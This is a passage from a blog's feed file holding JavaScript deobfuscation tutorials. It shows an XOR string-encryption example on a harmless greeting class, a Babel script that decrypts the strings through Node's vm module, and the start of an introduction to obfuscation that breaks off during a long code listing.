brackets</strong></em>, check out my article about <em><a href="http://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/">Constant Folding</a></em>. But for now, I’ll move on to another example.</p><h2 id="Example-4-String-Encryption"><a href="#Example-4-String-Encryption" class="headerlink" title="Example #4: String Encryption"></a>Example #4: String Encryption</h2><p>First and foremost, string encryption <strong><em>IS NOT</em></strong> the same as encoding strings as hexadecimal or unicode. Whereas the javascript interpreter will automatically interpret<code>"\x48\x65\x6c\x6c\x6f"</code> as <code>"Hello"</code>, encrypted strings must be passed through to a decryption function and evaluated <em>before</em> they become useful to the javascript engine (or representable as a StringLiteral by Babel).</p><p>For example, even though Base64 is a type of encoding, in the context of string concealing it falls under string encryption since <code>console.log("SGVsbG8=")</code> prints <code>SGVsbG8=</code>, but <code>console.log(atob{SGVsbG8=})</code> prints <code>Hello</code>. In this example, atob() is the decoding function.</p><p>Most obfuscators will define custom functions for encrypting and decrypting strings. Sometimes, the string may need to go through multiple decryption functions Therefore, there is no universal solution for deobfuscating string encryption. Most of the time, you’ll need to manually analyze the code to find the string decryption function, hard-code it into your deobfuscator, then evaluate it for each CallExpression that references it. The example below will cover a single example that uses an XOR cipher from <a href="https://github.com/RobLoach/xor-crypt">this repository</a> for obfuscating the strings.</p><h3 id="Original-Source-Code-3"><a href="#Original-Source-Code-3" class="headerlink" title="Original Source Code"></a>Original Source Code</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "Input.js"</span><br><span class="hljs-comment"> * Original, unobfuscated code.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, animal</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = animal;<br> }<br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I go to "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" and my favourite animal is a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<span class="hljs-string">"David"</span>, <span class="hljs-string">"University of Obfuscation"</span>, <span class="hljs-string">"DOGGO"</span>);<br><br>examplePerson.<span class="hljs-title function_">sayHello</span>();<br><br></code></pre></td></tr></table></figure><h3 id="Post-Obfuscation-Code-3"><a href="#Post-Obfuscation-Code-3" class="headerlink" title="Post-Obfuscation Code"></a>Post-Obfuscation Code</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "stringEncryptionObfuscated.js"</span><br><span class="hljs-comment"> * This is the resulting code after obfuscation.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * The decryption function</span><br><span class="hljs-comment"> * A simple implementation of an XOR cipher.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> _0xed68x1 The string to be decrypted</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> _0xed68x2 The decryption key</span><br><span class="hljs-comment">*/</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-params">_0xed68x1, _0xed68x2</span>) {<br> <span class="hljs-keyword">var</span> _0xed68x3 = <span class="hljs-string">""</span>;<br> <span class="hljs-keyword">if</span> (!_0xed68x2) {<br> _0xed68x2 = <span class="hljs-number">6</span>;<br> }<br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> _0xed68x4 = <span class="hljs-number">0</span>; _0xed68x4 < _0xed68x1[<span class="hljs-string">"length"</span>]; ++_0xed68x4) {<br> _0xed68x3 += <span class="hljs-title class_">String</span>[<span class="hljs-string">"fromCharCode"</span>](<br> _0xed68x2 ^ _0xed68x1[<span class="hljs-string">"charCodeAt"</span>](_0xed68x4)<br> );<br> }<br> <span class="hljs-keyword">return</span> _0xed68x3;<br>}<br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, animal</span>) {<br> <span class="hljs-variable language_">this</span>[<span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"댎댁댍댅"</span>, <span class="hljs-number">438971164636e3</span>)] = name;<br> <span class="hljs-variable language_">this</span>[<span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"敷敧敬敫敫敨"</span>, <span class="hljs-number">298471289414916</span>)] = school;<br> <span class="hljs-variable language_">this</span>[<span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"옞옙옎옹옖옑옕옙옔"</span>, <span class="hljs-number">834789504173688</span>)] = animal;<br> }<br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"ᵅᵨᵡᵡᵢᴡᴭᵠᵴᴭᵣᵬᵠᵨᴭᵤᵾᴭ"</span>, <span class="hljs-number">12786957</span>) +<br> <span class="hljs-variable language_">this</span>[<span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"のちねづ"</span>, <span class="hljs-number">468128861335552</span>)] +<br> <span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"໌ໄໟໄ"</span>, <span class="hljs-number">88739499</span>) +<br> <span class="hljs-variable language_">this</span>[<span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"噥噵噾噹噹噺"</span>, <span class="hljs-number">327790472222230</span>)] +<br> <span class="hljs-title function_">_0x2720d7</span>(<br> <span class="hljs-string">"汚氛气氞汚気氃汚氜氛氌氕氏氈氓氎氟汚氛气氓気氛氖汚氓氉汚氛汚"</span>,<br> <span class="hljs-number">38694010</span><br> ) +<br> <span class="hljs-variable language_">this</span>[<span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"녠녧녰녇녨녯녫녧녪"</span>, <span class="hljs-number">148377547550982</span>)];<br> <span class="hljs-variable language_">console</span>[<span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"㐠㐣㐫"</span>, <span class="hljs-number">21889598764108</span>)](helloStatement);<br> }<br>}<br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<br> <span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"幕幰幧幸幵"</span>, <span class="hljs-number">33775121</span>),<br> <span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"﹪﹑﹖﹉﹚﹍﹌﹖﹋﹆﹐﹙ﹰ﹝﹙﹊﹌﹜﹞﹋﹖﹐﹑"</span>, <span class="hljs-number">46595647</span>),<br> <span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"Ⳑⳛⳓⳓⳛ"</span>, <span class="hljs-number">85339284</span>)<br>);<br>examplePerson[<span class="hljs-title function_">_0x2720d7</span>(<span class="hljs-string">"릪릸릠릑림릵릵릶"</span>, <span class="hljs-number">803843901012441</span>)]();<br><br></code></pre></td></tr></table></figure><h3 id="Analysis-Methodology-3"><a href="#Analysis-Methodology-3" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h3><p>Let’s paste our obfuscated code into <a href="https://astexplorer.net/">AST Explorer</a>.</p><p><img src="/../images/stringEncrypt1.PNG" alt="View of the obfuscated code in AST Explorer"></p><p>Our targets of interest here are the cryptic calls to the <code>_0x2720d7</code> function. Let’s take a closer a closer look at one of them.</p><p><img src="/../images/stringEncrypt2.PNG" alt="A closer look at one of the nodes of interest"></p><p>We can observe that the nodes of interest are of type <em>CallExpression</em>. Each call expression takes in two parameters. The first is a <em>StringLiteral</em> which holds the encrypted string. The second is a <em>NumericLiteral</em>, which is used as a decryption key.</p><p>There are two ways we can deobfuscate this script, the second of which I personally prefer since it looks cleaner.</p><h4 id="Method-1-The-Copy-Paste-Technique"><a href="#Method-1-The-Copy-Paste-Technique" class="headerlink" title="Method #1: The Copy-Paste Technique"></a><strong>Method #1: The Copy-Paste Technique</strong></h4><p>The first method involves the following steps:</p><ol><li>Find the decryption function in the obfuscated script</li><li>Paste the decryption function, <code>_0x2720d7</code>, in our deobfuscator</li><li>Traverse the ast in search for the FunctionDeclaration of the decryption function (in this case, <code>_0x2720d7</code>). Once found, remove the path as it is no longer necessary</li><li>Traverse the ast in search of CallExpressions where the callee is the decryption function (in this case, <code>_0x2720d7</code>). Once found:<ol><li>Assign each arugument of <code>path.node.arguments</code> to a variable, e.g. <code>stringToDecrypt</code> and <code>decryptionKey</code> respectively.</li><li>Create a variable, <code>result</code></li><li>Evaluate <code>_0x2720d7(stringToDecrypt,decryptionKey)</code> and assign the resulting value to <code>result</code></li><li>Replace the CallExpression path with the actual value: <code>path.replaceWith(t.valueToNode(result))</code></li></ol></li></ol><p>One of the reasons I don’t like to use this method is that the code for the deobfuscator can become quite long and messy if:</p><ul><li>The decryption function contains many lines of code, or</li><li>There are many parameters to parse from the CallExpression</li></ul><p>A cleaner approach in my opinion is the next method, which evaluates the decryption function and its calls in a <em>virtual machine</em>.</p><h4 id="Method-2-Using-the-NodeJS-VM-module"><a href="#Method-2-Using-the-NodeJS-VM-module" class="headerlink" title="Method #2: Using the NodeJS VM module"></a><strong>Method #2: Using the NodeJS VM module</strong></h4><p>Whenever possible, I prefer to use this method because of its cleanliness. Why? Well,</p><ul><li>It doesn’t require me to copy-paste the entire encryption function into my deobfuscator</li><li>I don’t need to manually parse any of the arguments of CallExpressions before execution.</li></ul><p>The only downside is that it requires two separate visitors and therefore two traversals, whereas you can probably implement the first method in a single traversal.</p><p>Here are the steps to implement it:</p><ol><li>Create a variable, <code>decryptFuncCtx</code>and assign it an empty context using <code>vm.createContext()</code></li><li>Traverse the ast in search for the FunctionDeclaration of the decryption function (in this case, <code>_0x2720d7</code>). Once found:<ol><li>Use <code>@babel/generator</code> to generate the function’s source code from the node and assign it to a variable, <code>decryptFuncCode</code></li><li>Add the decryption function to the VM’s context using <code>vm.runInContext(decryptFuncCode, decryptFuncCtx)</code></li><li>Delete the FunctionDeclaration node with <code>path.remove()</code> as it’s now useless, and stop traversing with <code>path.stop()</code></li></ol></li><li>Traverse the ast in search of CallExpressions where the callee is the decryption function (in this case, <code>_0x2720d7</code>). Once found:<ol><li>Use <code>@babel/generator</code> to generate the CallExpression’s source code from the node and assign it to a variable, <code>expressionCode</code></li><li>Evaluate the function call in the context of <code>decryptFuncCtx</code> using <code>vm.runInContext(expressionCode,decryptFuncCtx)</code>.</li><li>Optionally assign the result to a variable, <code>value</code></li><li>Replace the CallExpression node with the computed value to restore the unobfuscated string literal.</li></ol></li></ol><p><strong>Note</strong>: <em>for both of these methods you should probably come up with a dynamic way to detect the decryption function (by analyzing the structure of the function node or # of calls) in case the script is morphing. You should also pay mind to the scope of function and also check if it’s ever redefined later in the script. But for this example, I will neglect that and just hardcode the name for simplicity.</em></p><p>The babel implementation for the second method is shown below:</p><h3 id="Babel-Deobfuscation-Script-3"><a href="#Babel-Deobfuscation-Script-3" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><span class="hljs-keyword">const</span> vm = <span class="hljs-built_in">require</span>(<span class="hljs-string">"vm"</span>);<br><span class="hljs-keyword">const</span> { create } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"chrome-remote-interface-extra/lib/page/Page"</span>);<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-keyword">const</span> decryptFuncCtx = vm.<span class="hljs-title function_">createContext</span>();<br> <span class="hljs-comment">// Visitor for populating the VM context</span><br> <span class="hljs-keyword">const</span> createDecryptFuncCtxVisitor = {<br> <span class="hljs-title class_">FunctionDeclaration</span>(path) {<br> <span class="hljs-keyword">const</span> node = path.<span class="hljs-property">node</span>;<br> <span class="hljs-keyword">if</span> (node.<span class="hljs-property">id</span>.<span class="hljs-property">name</span> == <span class="hljs-string">"_0x2720d7"</span>) {<span class="hljs-comment">// Hard-coded decryption function name for simplification</span><br><br> <span class="hljs-keyword">const</span> decryptFuncCode = <span class="hljs-title function_">generate</span>(node).<span class="hljs-property">code</span>; <span class="hljs-comment">// Generate the code to execute in context</span><br> vm.<span class="hljs-title function_">runInContext</span>(decryptFuncCode, decryptFuncCtx); <span class="hljs-comment">// Execute the decryption function delcaration in VM context</span><br> path.<span class="hljs-title function_">remove</span>() <span class="hljs-comment">// Remove the decryption function since it has served its use</span><br> path.<span class="hljs-title function_">stop</span>(); <span class="hljs-comment">// stop traversing once the decryption function has been added to the context</span><br><br> }<br> },<br> };<br><br> <span class="hljs-comment">// Visitor for decrypting the string</span><br> <span class="hljs-keyword">const</span> deobfuscateEncryptedStringsVisitor = {<br> <span class="hljs-title class_">CallExpression</span>(path) {<br> <span class="hljs-keyword">const</span> node = path.<span class="hljs-property">node</span>;<br> <span class="hljs-keyword">if</span> (node.<span class="hljs-property">callee</span>.<span class="hljs-property">name</span> == <span class="hljs-string">"_0x2720d7"</span>) { <span class="hljs-comment">// Hard-coded decryption function name for simplification</span><br><br><br> <span class="hljs-keyword">const</span> expressionCode = <span class="hljs-title function_">generate</span>(node).<span class="hljs-property">code</span>; <span class="hljs-comment">// Convert the CallExpression to code</span><br> <span class="hljs-keyword">const</span> value = vm.<span class="hljs-title function_">runInContext</span>(expressionCode, decryptFuncCtx); <span class="hljs-comment">// Evaluate the code</span><br> path.<span class="hljs-title function_">replaceWith</span>(t.<span class="hljs-title function_">valueToNode</span>(value)); <span class="hljs-comment">// Replace the node with the resulting value.</span><br> }<br> },<br> };<br> <span class="hljs-comment">// Create the context</span><br> <span class="hljs-title function_">traverse</span>(ast, createDecryptFuncCtxVisitor);<br> <span class="hljs-comment">// Decrypt all strings</span><br> <span class="hljs-title function_">traverse</span>(ast, deobfuscateEncryptedStringsVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./stringEncryptionObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br><br><br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h3 id="Post-Deobfuscation-Result-3"><a href="#Post-Deobfuscation-Result-3" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, animal</span>) {<br> <span class="hljs-variable language_">this</span>[<span class="hljs-string">"name"</span>] = name;<br> <span class="hljs-variable language_">this</span>[<span class="hljs-string">"school"</span>] = school;<br> <span class="hljs-variable language_">this</span>[<span class="hljs-string">"favAnimal"</span>] = animal;<br> }<br><br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement = <span class="hljs-string">"Hello, my name is "</span> + <span class="hljs-variable language_">this</span>[<span class="hljs-string">"name"</span>] + <span class="hljs-string">". I go to "</span> + <span class="hljs-variable language_">this</span>[<span class="hljs-string">"school"</span>] + <span class="hljs-string">" and my favourite animal is a "</span> + <span class="hljs-variable language_">this</span>[<span class="hljs-string">"favAnimal"</span>];<br> <span class="hljs-variable language_">console</span>[<span class="hljs-string">"log"</span>](helloStatement);<br> }<br><br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<span class="hljs-string">"David"</span>, <span class="hljs-string">"University of Obfuscation"</span>, <span class="hljs-string">"DOGGO"</span>);<br>examplePerson[<span class="hljs-string">"sayHello"</span>]();<br></code></pre></td></tr></table></figure><p>The strings are now deobfuscated, and the code becomes much easier to read.</p><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>Phew, that was quite the long segment! That about sums up the majority of string concealing techniques you’ll find in the wild and how to reverse them.</p><p>Before I go, I want to address one thing (as a bonus of sorts):</p><p>After deobfuscating the strings, we can see that they’re restored to:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-variable language_">this</span>[<span class="hljs-string">"name"</span>] = name;<br><span class="hljs-variable language_">this</span>[<span class="hljs-string">"school"</span>] = school;<br><span class="hljs-variable language_">this</span>[<span class="hljs-string">"favAnimal"</span>] = animal;<br></code></pre></td></tr></table></figure><p>But someone familiar with Javascript knows that the convention is to write it like this:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br><span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br><span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = animal;<br></code></pre></td></tr></table></figure><p>The good news is, you can also use Babel to restore the traditional dot operator formatting in MemberExpressions. <a href="https://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Converting-Bracket-Notation-Dot-Notation-for-Property-Accessors/">Read my article about it here!</a></p><p>If you’re interested, you can find the source code for all the examples in <a href="https://github.com/SteakEnthusiast/Supplementary-AST-Based-Deobfuscation-Materials">this repository</a>.</p><p>I hope that this article helped you learn something new. Thanks for reading, and happy reversing!</p>]]></content>
<categories>
<category>Deobfuscation</category>
</categories>
<tags>
<tag>Javascript</tag>
<tag>Deobfuscation</tag>
<tag>Babel</tag>
<tag>Reverse Engineering</tag>
</tags>
</entry>
<entry>
<title>An Introduction to Javascript Obfuscation & Babel</title>
<link href="/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/"/>
<url>/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/</url>
<content type="html"><![CDATA[<h1 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h1><p>Welcome to the first article in my series about Javascript deobfuscation. I won’t be going in-depth regarding practical deobfuscation techniques; that’ll be reserved for later articles. Rather, this post serves as a brief overview of the state of Javascript obfuscation, different methods of analysis, and provides resources to learn more about reverse engineering Javascript.</p><h1 id="What-is-Obfuscation"><a href="#What-is-Obfuscation" class="headerlink" title="What is Obfuscation?"></a>What is Obfuscation?</h1><h2 id="Definition"><a href="#Definition" class="headerlink" title="Definition"></a>Definition</h2><p>Obfuscation is a series of code transformations that turn human-readable code into something that is deliberately difficult for a human to understand, while (for the most part) still maintaining its original functionality. Code authors may choose to obfuscate their code for many reasons, including but not limited to:</p><ul><li>To make it harder to modify, debug, or reproduce (e.g. some javascript-based games or programs)</li><li>To hide malicious intent (e.g. malware)</li><li>To enhance security, i.e obscuring the logic behind javascript-based challenges or fingerprinting (e.g. ReCAPTCHA, Shape Security, PerimeterX, Akamai, DataDome)</li></ul><h2 id="Example"><a href="#Example" class="headerlink" title="Example"></a>Example</h2><p>For example, the obfuscation process can convert this human-readable script:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Hello"</span>);<br></code></pre></td></tr></table></figure><p>Into something incomprehensible to humans:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span 